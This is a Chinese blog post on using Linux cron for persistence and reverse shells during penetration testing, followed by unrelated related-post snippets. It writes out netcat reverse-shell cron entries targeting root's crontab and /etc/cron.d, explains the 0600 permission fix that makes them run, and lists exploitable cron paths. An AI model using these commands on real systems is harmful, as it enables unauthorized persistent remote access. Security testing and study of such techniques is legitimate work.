文章目录

  • 1.前言
  • 2.前置知识
  • 3.测试
    • 3.1 使用crontab来设置计划任务
    • 3.2 直接编辑文件设置计划任务
  • 4.总结
  • 补充:/etc/cron.d与/etc/crontab
  • 5.参考文章

1.前言

在linux渗透测试的时候,有时会选择使用计划任务crontab来进行权限维持或者反弹shell,在自己做测试的时候遇见了几个特殊的点做一下记录。

环境为ubuntu。

2.前置知识

各个用户的计划任务文件存在/var/spool/cron/crontabs/中,以用户名来命名。
系统级别的计划任务文件存在/etc/crontab,无论什么用户登陆,都会执行这个文件中的计划任务。
crontab -l 查看当前用户的计划任务
crontab -r 删除当前用户所有的计划任务
crontab -e 编辑当前用户的计划任务

3.测试

如果可以使用shell,直接用crontab命令即可。如果无法使用shell类似于redis未授权漏洞的利用,就需要直接编辑/var/spool/cron/crontabs/文件,但是直接编辑文件,在新版本的linux系统中无法生效。

3.1 使用crontab来设置计划任务

使用crontab命令创建计划任务的话,文件中会含有许多注释,且权限为600。


查看日志可以看到执行了命令:

tail -f /var/log/syslog

执行ls命令,shell反弹成功:

3.2 直接编辑文件设置计划任务

echo "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /var/spool/cron/crontabs/root


看日志发现报错了,文件权限有问题,而且事实也是一直没有shell反弹回来:

这时候唯一的解决方案就是更改文件权限:

chmod 0600 /var/spool/cron/crontabs/root

发现shell已经回连。

4.总结

直接编辑/var/spool/cron/crontabs/root文件设置root的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e命令。

至于centos的话,就不受影响。

补充:/etc/cron.d与/etc/crontab

可以直接给此文件夹下写计划任务,不需要特殊权限即可执行,但是一定要加上username字段,举例如下增加了root用户:

echo  "* * * * * root nc -e /bin/sh 172.16.250.1 8888" > /etc/cron.d/2

最后补充一下,可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

5.参考文章

crontab踩坑
linux文件权限详解
linux计划任务

linux计划任务踩坑相关推荐

  1. OrangePi PC 玩Linux主线内核踩坑之旅(一)之制作第一个镜像

    今天开始写一个专题<OrangePi PC 玩Linux主线内核>.一方面是记录自己在踩坑过程中的点点滴滴,另一方面是分享自己的心得.目前还不确定要写几期,希望大家多多捧场. 首先简单介绍 ...

  2. OrangePi PC 玩Linux主线内核踩坑之旅(四)之变身MP3播放器

    主线内核Linux跑起来后,我们就可以用香橙派做一些简单的应用了.既然是简单的应用,那便是说基本上无需再添加额外的硬件即可实现相应的功能,"变身MP3播放器"便是一例.当然,耳机或 ...

  3. 编写 Linux shell 脚本 踩坑记录

    几年前,抽出一段时间学习了Linux Shell 脚本的学习,用于自动化项目的自动化发布. 如今,几年过去了,忘记的差不多了. 前几天刚写了一个脚本,漏洞百出,将踩过的坑再次记录下来,提醒自己. 1. ...

  4. 服务器Linux 安装anaconda3 踩坑

    我在自己的笔记本电脑上远程学校实验室的服务器安装anaconda3,真的踩了很多坑TuT 1.一般都去anaconda的官网下载最新的Linux版本的sh版本,但是我远程传输之后,运行该文件出现了m. ...

  5. 泛微 linux + mysql 部署+踩坑记

    按照文档在数据库服务器上 安装MySQL , 注意: 需要按照文档步骤 端口根据文档默认就可以 需要防火墙开启3306端口 查看或修改防火墙 cat或vim /etc/sysconfig/iptabl ...

  6. 部署Linux单机kafka踩坑

    kafka简介 kafka是Apache开发的一个开源流处理平台,也目前一种比较成熟的消息系统,被广泛用作消息中间件(现如今的大数据应用中很多都是采用zookeeper+kafka集群). 部署前置条 ...

  7. OrangePi PC 玩Linux主线内核踩坑之旅(二)之制作镜像后的查遗补缺

    一.查遗补缺之SSH连接到香橙派 上一篇我们讲到,为了可以使用SSH连接到香橙派,我们勾选了dropbear软件包,这是一个轻量级的SSH软件,包含了客户端和服务端[1].如何使用呢?在上一篇的末尾, ...

  8. linux 安装mmdetection 踩坑笔记

    官网链接:https://github.com/open-mmlab/mmdetection 说明文档:https://mmdetection.readthedocs.io/en/latest/ 预训 ...

  9. cisco Linux SRv6 实战踩坑记录

    环境: 使用虚拟机 版本不同:原文ubuntu16,本次使用18 apt Source不同:原文使用1807,2101 网络拓扑,改成host1-vpp1-routeA-vpp2-host2 两个虚拟 ...

  10. 【Linux】【踩坑专栏】centOS 7 桌面版使用VMWare Workstation Player 16安装时踩坑

    CentOS 7 Everything在用VMWare Workstation Player 16安装时,第二个界面是下面这个: 我安装的时候误以为"全名"是个性化Linux的全名 ...

最新文章

  1. 二叉树的镜像(数组,前后 遍历重建二叉树)
  2. 关于ANDRID sdk安装过慢问题
  3. jsonp跨域原理_【网站技术解读①】Javascript实现跨域请求
  4. 在linux环境下,使用find查找某个文件的指定路径
  5. Tiny4412裸机程序,按键检测(轮询方式)
  6. 初识Java-IO流
  7. 《零基础看得懂的C语言入门教程 》——(九)C语言二维数组与循环嵌套
  8. 4-8岁那些最难的数学概念,美国老师用一套绘本让孩子秒懂
  9. docker mysql 日志_在docker mysql容器中启用日志记录
  10. java spring源码_spring源码分析-spring中的bean
  11. 从零开始学前端:CSS背景颜色 --- 今天你学习了吗?(CSS:Day09)
  12. 小米回应暴力裁员;报告称安卓手机贬值速度是 iPhone 两倍;Ant Design 4.0.1 发布| 极客头条...
  13. ASP.NET MVC过滤器
  14. c# 爬网教程_Python Web爬网教程
  15. 廖雪峰Python教程 实战day05
  16. ExiD、InD、HighD轨迹数据
  17. android ICS 系统启动之Logo相关学习总结
  18. oracle数据库查看锁表
  19. 【数据结构与算法】思维导图
  20. Gephi不显示Betweenness Centrality等中心性的问题

热门文章

  1. 练习-Java类和对象之包的定义
  2. Android上Excel编辑器,若风excel文件编辑器
  3. 超像素评价(评估)标准
  4. 【笔记1-4】陈丹琦毕业论文 NEURAL READING COMPREHENSION AND BEYOND
  5. abb机器人goto指令用法_详解ABB机器人编程含中英文指令对照
  6. 离线pandas安装教程
  7. 不可逆加密算法-MD5
  8. 使用XTU降低CPU功耗,自动执行不失效
  9. 矩阵乘法 c/c++代码
  10. C语言实现一个矩阵乘法计算器